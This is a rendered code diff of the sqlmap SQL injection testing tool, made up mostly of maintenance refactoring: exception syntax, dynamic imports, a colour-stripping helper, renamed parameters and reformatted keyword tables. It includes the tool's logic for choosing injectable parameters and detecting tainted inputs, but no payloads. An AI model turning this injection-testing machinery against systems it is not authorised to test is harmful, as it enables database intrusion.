if origValue is not None and "[ORIGVALUE]" in payload:
|
if origValue is not None and "[ORIGVALUE]" in payload:
|
||||||
@@ -928,7 +932,7 @@ class Agent(object):
|
|||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||||
if not " ORDER BY " in limitedQuery:
|
if " ORDER BY " not in limitedQuery:
|
||||||
limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT")
|
limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT")
|
||||||
elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery:
|
elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery:
|
||||||
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
||||||
|
|||||||
@@ -6,9 +6,9 @@ See the file 'LICENSE' for copying permission
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
try:
|
try:
|
||||||
import cPickle as pickle
|
import cPickle as pickle
|
||||||
except:
|
except:
|
||||||
import pickle
|
import pickle
|
||||||
|
|
||||||
import bz2
|
import bz2
|
||||||
import itertools
|
import itertools
|
||||||
@@ -90,7 +90,7 @@ class BigArray(list):
|
|||||||
except IOError, ex:
|
except IOError, ex:
|
||||||
errMsg = "exception occurred while retrieving data "
|
errMsg = "exception occurred while retrieving data "
|
||||||
errMsg += "from a temporary file ('%s')" % ex.message
|
errMsg += "from a temporary file ('%s')" % ex.message
|
||||||
raise SqlmapSystemException, errMsg
|
raise SqlmapSystemException(errMsg)
|
||||||
|
|
||||||
return self.chunks[-1].pop()
|
return self.chunks[-1].pop()
|
||||||
|
|
||||||
@@ -115,7 +115,7 @@ class BigArray(list):
|
|||||||
errMsg += "make sure that there is enough disk space left. If problem persists, "
|
errMsg += "make sure that there is enough disk space left. If problem persists, "
|
||||||
errMsg += "try to set environment variable 'TEMP' to a location "
|
errMsg += "try to set environment variable 'TEMP' to a location "
|
||||||
errMsg += "writeable by the current user"
|
errMsg += "writeable by the current user"
|
||||||
raise SqlmapSystemException, errMsg
|
raise SqlmapSystemException(errMsg)
|
||||||
|
|
||||||
def _checkcache(self, index):
|
def _checkcache(self, index):
|
||||||
if (self.cache and self.cache.index != index and self.cache.dirty):
|
if (self.cache and self.cache.index != index and self.cache.dirty):
|
||||||
@@ -129,7 +129,7 @@ class BigArray(list):
|
|||||||
except IOError, ex:
|
except IOError, ex:
|
||||||
errMsg = "exception occurred while retrieving data "
|
errMsg = "exception occurred while retrieving data "
|
||||||
errMsg += "from a temporary file ('%s')" % ex.message
|
errMsg += "from a temporary file ('%s')" % ex.message
|
||||||
raise SqlmapSystemException, errMsg
|
raise SqlmapSystemException(errMsg)
|
||||||
|
|
||||||
def __getstate__(self):
|
def __getstate__(self):
|
||||||
return self.chunks, self.filenames
|
return self.chunks, self.filenames
|
||||||
|
|||||||
+60
-40
@@ -75,6 +75,7 @@ from lib.core.enums import EXPECTED
|
|||||||
from lib.core.enums import HEURISTIC_TEST
|
from lib.core.enums import HEURISTIC_TEST
|
||||||
from lib.core.enums import HTTP_HEADER
|
from lib.core.enums import HTTP_HEADER
|
||||||
from lib.core.enums import HTTPMETHOD
|
from lib.core.enums import HTTPMETHOD
|
||||||
|
from lib.core.enums import LOGGING_LEVELS
|
||||||
from lib.core.enums import MKSTEMP_PREFIX
|
from lib.core.enums import MKSTEMP_PREFIX
|
||||||
from lib.core.enums import OPTION_TYPE
|
from lib.core.enums import OPTION_TYPE
|
||||||
from lib.core.enums import OS
|
from lib.core.enums import OS
|
||||||
@@ -595,9 +596,7 @@ def paramToDict(place, parameters=None):
|
|||||||
testableParameters[parameter] = "=".join(parts[1:])
|
testableParameters[parameter] = "=".join(parts[1:])
|
||||||
if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken):
|
if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken):
|
||||||
_ = urldecode(testableParameters[parameter], convall=True)
|
_ = urldecode(testableParameters[parameter], convall=True)
|
||||||
if (_.endswith("'") and _.count("'") == 1
|
if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
|
||||||
or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
|
|
||||||
and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
|
|
||||||
warnMsg = "it appears that you have provided tainted parameter values "
|
warnMsg = "it appears that you have provided tainted parameter values "
|
||||||
warnMsg += "('%s') with most likely leftover " % element
|
warnMsg += "('%s') with most likely leftover " % element
|
||||||
warnMsg += "chars/statements from manual SQL injection test(s). "
|
warnMsg += "chars/statements from manual SQL injection test(s). "
|
||||||
@@ -650,7 +649,7 @@ def paramToDict(place, parameters=None):
|
|||||||
message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
|
message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
|
||||||
message += "is JSON deserializable. Do you want to inject inside? [y/N] "
|
message += "is JSON deserializable. Do you want to inject inside? [y/N] "
|
||||||
|
|
||||||
if not readInput(message, default='N', boolean=True):
|
if readInput(message, default='N', boolean=True):
|
||||||
del testableParameters[parameter]
|
del testableParameters[parameter]
|
||||||
testableParameters.update(candidates)
|
testableParameters.update(candidates)
|
||||||
break
|
break
|
||||||
@@ -869,7 +868,10 @@ def boldifyMessage(message):
|
|||||||
|
|
||||||
def setColor(message, bold=False):
|
def setColor(message, bold=False):
|
||||||
retVal = message
|
retVal = message
|
||||||
level = extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_ for _ in dir(logging) if _ == _.upper()), message) or kb.get("stickyLevel")
|
level = extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel")
|
||||||
|
|
||||||
|
if isinstance(level, unicode):
|
||||||
|
level = unicodeencode(level)
|
||||||
|
|
||||||
if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler
|
if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler
|
||||||
if bold:
|
if bold:
|
||||||
@@ -885,6 +887,21 @@ def setColor(message, bold=False):
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
def clearColors(message):
|
||||||
|
"""
|
||||||
|
Clears ANSI color codes
|
||||||
|
|
||||||
|
>>> clearColors("\x1b[38;5;82mHello \x1b[38;5;198mWorld")
|
||||||
|
'Hello World'
|
||||||
|
"""
|
||||||
|
|
||||||
|
retVal = message
|
||||||
|
|
||||||
|
if message:
|
||||||
|
retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
|
def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
|
||||||
"""
|
"""
|
||||||
Writes text to the stdout (console) stream
|
Writes text to the stdout (console) stream
|
||||||
@@ -893,7 +910,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
|
|||||||
message = ""
|
message = ""
|
||||||
|
|
||||||
if not kb.get("threadException"):
|
if not kb.get("threadException"):
|
||||||
if forceOutput or not getCurrentThreadData().disableStdOut:
|
if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
|
||||||
if kb.get("multiThreadMode"):
|
if kb.get("multiThreadMode"):
|
||||||
logging._acquireLock()
|
logging._acquireLock()
|
||||||
|
|
||||||
@@ -999,7 +1016,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
|||||||
retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING))
|
retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING))
|
||||||
|
|
||||||
if retVal:
|
if retVal:
|
||||||
dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=True, bold=True)
|
dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=not kb.wizardMode, bold=True)
|
||||||
|
|
||||||
debugMsg = "used the given answer"
|
debugMsg = "used the given answer"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
@@ -1013,7 +1030,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
|||||||
else:
|
else:
|
||||||
options = unicode()
|
options = unicode()
|
||||||
|
|
||||||
dataToStdout("\r%s%s\n" % (message, options), forceOutput=True, bold=True)
|
dataToStdout("\r%s%s\n" % (message, options), forceOutput=not kb.wizardMode, bold=True)
|
||||||
|
|
||||||
debugMsg = "used the default behavior, running in batch mode"
|
debugMsg = "used the default behavior, running in batch mode"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
@@ -1026,7 +1043,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
|||||||
if conf.get("beep"):
|
if conf.get("beep"):
|
||||||
beep()
|
beep()
|
||||||
|
|
||||||
dataToStdout("\r%s" % message, forceOutput=True, bold=True)
|
dataToStdout("\r%s" % message, forceOutput=not kb.wizardMode, bold=True)
|
||||||
kb.prependFlag = False
|
kb.prependFlag = False
|
||||||
|
|
||||||
retVal = raw_input().strip() or default
|
retVal = raw_input().strip() or default
|
||||||
@@ -1174,7 +1191,7 @@ def banner():
|
|||||||
_ = BANNER
|
_ = BANNER
|
||||||
|
|
||||||
if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
|
if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
|
||||||
_ = re.sub("\033.+?m", "", _)
|
_ = clearColors(_)
|
||||||
elif IS_WIN:
|
elif IS_WIN:
|
||||||
coloramainit()
|
coloramainit()
|
||||||
|
|
||||||
@@ -1352,7 +1369,7 @@ def parseTargetDirect():
|
|||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
|
if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
import _mssql
|
__import__("_mssql")
|
||||||
import pymssql
|
import pymssql
|
||||||
|
|
||||||
if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
|
if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
|
||||||
@@ -1362,17 +1379,17 @@ def parseTargetDirect():
|
|||||||
raise SqlmapMissingDependence(errMsg)
|
raise SqlmapMissingDependence(errMsg)
|
||||||
|
|
||||||
elif dbmsName == DBMS.MYSQL:
|
elif dbmsName == DBMS.MYSQL:
|
||||||
import pymysql
|
__import__("pymysql")
|
||||||
elif dbmsName == DBMS.PGSQL:
|
elif dbmsName == DBMS.PGSQL:
|
||||||
import psycopg2
|
__import__("psycopg2")
|
||||||
elif dbmsName == DBMS.ORACLE:
|
elif dbmsName == DBMS.ORACLE:
|
||||||
import cx_Oracle
|
__import__("cx_Oracle")
|
||||||
elif dbmsName == DBMS.SQLITE:
|
elif dbmsName == DBMS.SQLITE:
|
||||||
import sqlite3
|
__import__("sqlite3")
|
||||||
elif dbmsName == DBMS.ACCESS:
|
elif dbmsName == DBMS.ACCESS:
|
||||||
import pyodbc
|
__import__("pyodbc")
|
||||||
elif dbmsName == DBMS.FIREBIRD:
|
elif dbmsName == DBMS.FIREBIRD:
|
||||||
import kinterbasdb
|
__import__("kinterbasdb")
|
||||||
except:
|
except:
|
||||||
if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__:
|
if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__:
|
||||||
pass
|
pass
|
||||||
@@ -1400,7 +1417,7 @@ def parseTargetUrl():
|
|||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I):
|
if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I):
|
||||||
if ":443/" in conf.url:
|
if re.search(r":443\b", conf.url):
|
||||||
conf.url = "https://%s" % conf.url
|
conf.url = "https://%s" % conf.url
|
||||||
else:
|
else:
|
||||||
conf.url = "http://%s" % conf.url
|
conf.url = "http://%s" % conf.url
|
||||||
@@ -1426,13 +1443,14 @@ def parseTargetUrl():
|
|||||||
conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "")
|
conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
_ = conf.hostname.encode("idna")
|
conf.hostname.encode("idna")
|
||||||
except LookupError:
|
conf.hostname.encode(UNICODE_ENCODING)
|
||||||
_ = conf.hostname.encode(UNICODE_ENCODING)
|
except (LookupError, UnicodeError):
|
||||||
except UnicodeError:
|
invalid = True
|
||||||
_ = None
|
else:
|
||||||
|
invalid = False
|
||||||
|
|
||||||
if any((_ is None, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
|
if any((invalid, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
|
||||||
errMsg = "invalid target URL ('%s')" % originalUrl
|
errMsg = "invalid target URL ('%s')" % originalUrl
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
@@ -1986,7 +2004,7 @@ def parseXmlFile(xmlFile, handler):
|
|||||||
errMsg = "something appears to be wrong with "
|
errMsg = "something appears to be wrong with "
|
||||||
errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex))
|
errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex))
|
||||||
errMsg += "sure that you haven't made any changes to it"
|
errMsg += "sure that you haven't made any changes to it"
|
||||||
raise SqlmapInstallationException, errMsg
|
raise SqlmapInstallationException(errMsg)
|
||||||
|
|
||||||
def getSQLSnippet(dbms, sfile, **variables):
|
def getSQLSnippet(dbms, sfile, **variables):
|
||||||
"""
|
"""
|
||||||
@@ -2517,7 +2535,7 @@ def findMultipartPostBoundary(post):
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, plusspace=True):
|
def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
|
||||||
"""
|
"""
|
||||||
URL decodes given value
|
URL decodes given value
|
||||||
|
|
||||||
@@ -2535,14 +2553,14 @@ def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CH
|
|||||||
pass
|
pass
|
||||||
finally:
|
finally:
|
||||||
if convall:
|
if convall:
|
||||||
result = urllib.unquote_plus(value) if plusspace else urllib.unquote(value)
|
result = urllib.unquote_plus(value) if spaceplus else urllib.unquote(value)
|
||||||
else:
|
else:
|
||||||
def _(match):
|
def _(match):
|
||||||
charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable)
|
charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable)
|
||||||
char = chr(ord(match.group(1).decode("hex")))
|
char = chr(ord(match.group(1).decode("hex")))
|
||||||
return char if char in charset else match.group(0)
|
return char if char in charset else match.group(0)
|
||||||
result = value
|
result = value
|
||||||
if plusspace:
|
if spaceplus:
|
||||||
result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case)
|
result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case)
|
||||||
result = re.sub(r"%([0-9a-fA-F]{2})", _, result)
|
result = re.sub(r"%([0-9a-fA-F]{2})", _, result)
|
||||||
|
|
||||||
@@ -2644,7 +2662,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None):
|
|||||||
dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep))
|
dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep))
|
||||||
dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep))
|
dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep))
|
||||||
|
|
||||||
def getPageTemplate(payload, place): # Cross-linked function
|
def getPageTemplate(payload, place): # Cross-referenced function
|
||||||
raise NotImplementedError
|
raise NotImplementedError
|
||||||
|
|
||||||
@cachedmethod
|
@cachedmethod
|
||||||
@@ -2977,7 +2995,7 @@ def setOptimize():
|
|||||||
Sets options turned on by switch '-o'
|
Sets options turned on by switch '-o'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
#conf.predictOutput = True
|
# conf.predictOutput = True
|
||||||
conf.keepAlive = True
|
conf.keepAlive = True
|
||||||
conf.threads = 3 if conf.threads < 3 else conf.threads
|
conf.threads = 3 if conf.threads < 3 else conf.threads
|
||||||
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
||||||
@@ -3181,9 +3199,7 @@ def showHttpErrorCodes():
|
|||||||
|
|
||||||
if kb.httpErrorCodes:
|
if kb.httpErrorCodes:
|
||||||
warnMsg = "HTTP error codes detected during run:\n"
|
warnMsg = "HTTP error codes detected during run:\n"
|
||||||
warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] \
|
warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] if code in httplib.responses else '?', count) for code, count in kb.httpErrorCodes.items())
|
||||||
if code in httplib.responses else '?', count) \
|
|
||||||
for code, count in kb.httpErrorCodes.items())
|
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()):
|
if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()):
|
||||||
msg = "too many 4xx and/or 5xx HTTP error codes "
|
msg = "too many 4xx and/or 5xx HTTP error codes "
|
||||||
@@ -3199,8 +3215,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", bu
|
|||||||
return codecs.open(filename, mode, encoding, errors, buffering)
|
return codecs.open(filename, mode, encoding, errors, buffering)
|
||||||
except IOError:
|
except IOError:
|
||||||
errMsg = "there has been a file opening error for filename '%s'. " % filename
|
errMsg = "there has been a file opening error for filename '%s'. " % filename
|
||||||
errMsg += "Please check %s permissions on a file " % ("write" if \
|
errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
|
||||||
mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
|
|
||||||
errMsg += "and that it's not locked by another process."
|
errMsg += "and that it's not locked by another process."
|
||||||
raise SqlmapSystemException(errMsg)
|
raise SqlmapSystemException(errMsg)
|
||||||
|
|
||||||
@@ -3288,7 +3303,7 @@ def unhandledExceptionMessage():
|
|||||||
errMsg += "reproduce the bug. The "
|
errMsg += "reproduce the bug. The "
|
||||||
errMsg += "developers will try to reproduce the bug, fix it accordingly "
|
errMsg += "developers will try to reproduce the bug, fix it accordingly "
|
||||||
errMsg += "and get back to you\n"
|
errMsg += "and get back to you\n"
|
||||||
errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
|
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
|
||||||
errMsg += "Python version: %s\n" % PYVERSION
|
errMsg += "Python version: %s\n" % PYVERSION
|
||||||
errMsg += "Operating system: %s\n" % platform.platform()
|
errMsg += "Operating system: %s\n" % platform.platform()
|
||||||
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
|
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
|
||||||
@@ -3913,6 +3928,9 @@ def isAdminFromPrivileges(privileges):
|
|||||||
def findPageForms(content, url, raise_=False, addToTargets=False):
|
def findPageForms(content, url, raise_=False, addToTargets=False):
|
||||||
"""
|
"""
|
||||||
Parses given page content for possible forms
|
Parses given page content for possible forms
|
||||||
|
|
||||||
|
>>> findPageForms('<html><form action="/input.php" method="POST"><input type="text" name="id" value="1"><input type="submit" value="Submit"></form></html>', '')
|
||||||
|
set([(u'/input.php', 'POST', u'id=1', None, None)])
|
||||||
"""
|
"""
|
||||||
|
|
||||||
class _(StringIO):
|
class _(StringIO):
|
||||||
@@ -3935,8 +3953,6 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
forms = ParseResponse(response, backwards_compat=False)
|
forms = ParseResponse(response, backwards_compat=False)
|
||||||
except (UnicodeError, ValueError):
|
|
||||||
pass
|
|
||||||
except ParseError:
|
except ParseError:
|
||||||
if re.search(r"(?i)<!DOCTYPE html|<html", content or ""):
|
if re.search(r"(?i)<!DOCTYPE html|<html", content or ""):
|
||||||
warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
|
warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
|
||||||
@@ -3952,6 +3968,8 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
|
|||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
else:
|
else:
|
||||||
logger.debug(errMsg)
|
logger.debug(errMsg)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
if forms:
|
if forms:
|
||||||
for form in forms:
|
for form in forms:
|
||||||
@@ -3982,7 +4000,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
|
|||||||
url = urldecode(request.get_full_url(), kb.pageEncoding)
|
url = urldecode(request.get_full_url(), kb.pageEncoding)
|
||||||
method = request.get_method()
|
method = request.get_method()
|
||||||
data = request.get_data() if request.has_data() else None
|
data = request.get_data() if request.has_data() else None
|
||||||
data = urldecode(data, kb.pageEncoding, plusspace=False)
|
data = urldecode(data, kb.pageEncoding, spaceplus=False)
|
||||||
|
|
||||||
if not data and method and method.upper() == HTTPMETHOD.POST:
|
if not data and method and method.upper() == HTTPMETHOD.POST:
|
||||||
debugMsg = "invalid POST form with blank data detected"
|
debugMsg = "invalid POST form with blank data detected"
|
||||||
@@ -4333,7 +4351,9 @@ def prioritySortColumns(columns):
|
|||||||
['userid', 'name', 'password']
|
['userid', 'name', 'password']
|
||||||
"""
|
"""
|
||||||
|
|
||||||
_ = lambda x: x and "id" in x.lower()
|
def _(column):
|
||||||
|
return column and "id" in column.lower()
|
||||||
|
|
||||||
return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0)
|
return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0)
|
||||||
|
|
||||||
def getRequestHeader(request, name):
|
def getRequestHeader(request, name):
|
||||||
|
|||||||
+3
-3
@@ -80,7 +80,7 @@ def base64unpickle(value, unsafe=False):
|
|||||||
if len(self.stack) > 1:
|
if len(self.stack) > 1:
|
||||||
func = self.stack[-2]
|
func = self.stack[-2]
|
||||||
if func not in PICKLE_REDUCE_WHITELIST:
|
if func not in PICKLE_REDUCE_WHITELIST:
|
||||||
raise Exception, "abusing reduce() is bad, Mkay!"
|
raise Exception("abusing reduce() is bad, Mkay!")
|
||||||
self.load_reduce()
|
self.load_reduce()
|
||||||
|
|
||||||
def loads(str):
|
def loads(str):
|
||||||
@@ -94,7 +94,7 @@ def base64unpickle(value, unsafe=False):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
retVal = loads(base64decode(value))
|
retVal = loads(base64decode(value))
|
||||||
except TypeError:
|
except TypeError:
|
||||||
retVal = loads(base64decode(bytes(value)))
|
retVal = loads(base64decode(bytes(value)))
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
@@ -174,7 +174,7 @@ def htmlunescape(value):
|
|||||||
pass
|
pass
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def singleTimeWarnMessage(message): # Cross-linked function
|
def singleTimeWarnMessage(message): # Cross-referenced function
|
||||||
sys.stdout.write(message)
|
sys.stdout.write(message)
|
||||||
sys.stdout.write("\n")
|
sys.stdout.write("\n")
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
|
|||||||
+14
-14
@@ -8,20 +8,20 @@ See the file 'LICENSE' for copying permission
|
|||||||
from lib.core.datatype import AttribDict
|
from lib.core.datatype import AttribDict
|
||||||
|
|
||||||
_defaults = {
|
_defaults = {
|
||||||
"csvDel": ',',
|
"csvDel": ',',
|
||||||
"timeSec": 5,
|
"timeSec": 5,
|
||||||
"googlePage": 1,
|
"googlePage": 1,
|
||||||
"verbose": 1,
|
"verbose": 1,
|
||||||
"delay": 0,
|
"delay": 0,
|
||||||
"timeout": 30,
|
"timeout": 30,
|
||||||
"retries": 3,
|
"retries": 3,
|
||||||
"saFreq": 0,
|
"saFreq": 0,
|
||||||
"threads": 1,
|
"threads": 1,
|
||||||
"level": 1,
|
"level": 1,
|
||||||
"risk": 1,
|
"risk": 1,
|
||||||
"dumpFormat": "CSV",
|
"dumpFormat": "CSV",
|
||||||
"tech": "BEUSTQ",
|
"tech": "BEUSTQ",
|
||||||
"torType": "SOCKS5",
|
"torType": "SOCKS5",
|
||||||
}
|
}
|
||||||
|
|
||||||
defaults = AttribDict(_defaults)
|
defaults = AttribDict(_defaults)
|
||||||
|
|||||||
+44
-38
@@ -208,54 +208,60 @@ FROM_DUMMY_TABLE = {
|
|||||||
}
|
}
|
||||||
|
|
||||||
SQL_STATEMENTS = {
|
SQL_STATEMENTS = {
|
||||||
"SQL SELECT statement": (
|
"SQL SELECT statement": (
|
||||||
"select ",
|
"select ",
|
||||||
"show ",
|
"show ",
|
||||||
" top ",
|
" top ",
|
||||||
" distinct ",
|
" distinct ",
|
||||||
" from ",
|
" from ",
|
||||||
" from dual",
|
" from dual",
|
||||||
" where ",
|
" where ",
|
||||||
" group by ",
|
" group by ",
|
||||||
" order by ",
|
" order by ",
|
||||||
" having ",
|
" having ",
|
||||||
" limit ",
|
" limit ",
|
||||||
" offset ",
|
" offset ",
|
||||||
" union all ",
|
" union all ",
|
||||||
" rownum as ",
|
" rownum as ",
|
||||||
"(case ", ),
|
"(case ",
|
||||||
|
),
|
||||||
|
|
||||||
"SQL data definition": (
|
"SQL data definition": (
|
||||||
"create ",
|
"create ",
|
||||||
"declare ",
|
"declare ",
|
||||||
"drop ",
|
"drop ",
|
||||||
"truncate ",
|
"truncate ",
|
||||||
"alter ", ),
|
"alter ",
|
||||||
|
),
|
||||||
|
|
||||||
"SQL data manipulation": (
|
"SQL data manipulation": (
|
||||||
"bulk ",
|
"bulk ",
|
||||||
"insert ",
|
"insert ",
|
||||||
"update ",
|
"update ",
|
||||||
"delete ",
|
"delete ",
|
||||||
"merge ",
|
"merge ",
|
||||||
"load ", ),
|
"load ",
|
||||||
|
),
|
||||||
|
|
||||||
"SQL data control": (
|
"SQL data control": (
|
||||||
"grant ",
|
"grant ",
|
||||||
"revoke ", ),
|
"revoke ",
|
||||||
|
),
|
||||||
|
|
||||||
"SQL data execution": (
|
"SQL data execution": (
|
||||||
"exec ",
|
"exec ",
|
||||||
"execute ",
|
"execute ",
|
||||||
"values ",
|
"values ",
|
||||||
"call ", ),
|
"call ",
|
||||||
|
),
|
||||||
|
|
||||||
"SQL transaction": (
|
"SQL transaction": (
|
||||||
"start transaction ",
|
"start transaction ",
|
||||||
"begin work ",
|
"begin work ",
|
||||||
"begin transaction ",
|
"begin transaction ",
|
||||||
"commit ",
|
"commit ",
|
||||||
"rollback ", ),
|
"rollback ",
|
||||||
|
),
|
||||||
}
|
}
|
||||||
|
|
||||||
POST_HINT_CONTENT_TYPES = {
|
POST_HINT_CONTENT_TYPES = {
|
||||||
|
|||||||
+9
-8
@@ -46,6 +46,7 @@ from lib.core.settings import METADB_SUFFIX
|
|||||||
from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
|
from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
|
||||||
from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
|
from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
|
||||||
from lib.core.settings import UNICODE_ENCODING
|
from lib.core.settings import UNICODE_ENCODING
|
||||||
|
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
|
||||||
from lib.core.settings import WINDOWS_RESERVED_NAMES
|
from lib.core.settings import WINDOWS_RESERVED_NAMES
|
||||||
from thirdparty.magic import magic
|
from thirdparty.magic import magic
|
||||||
|
|
||||||
@@ -414,16 +415,16 @@ class Dump(object):
|
|||||||
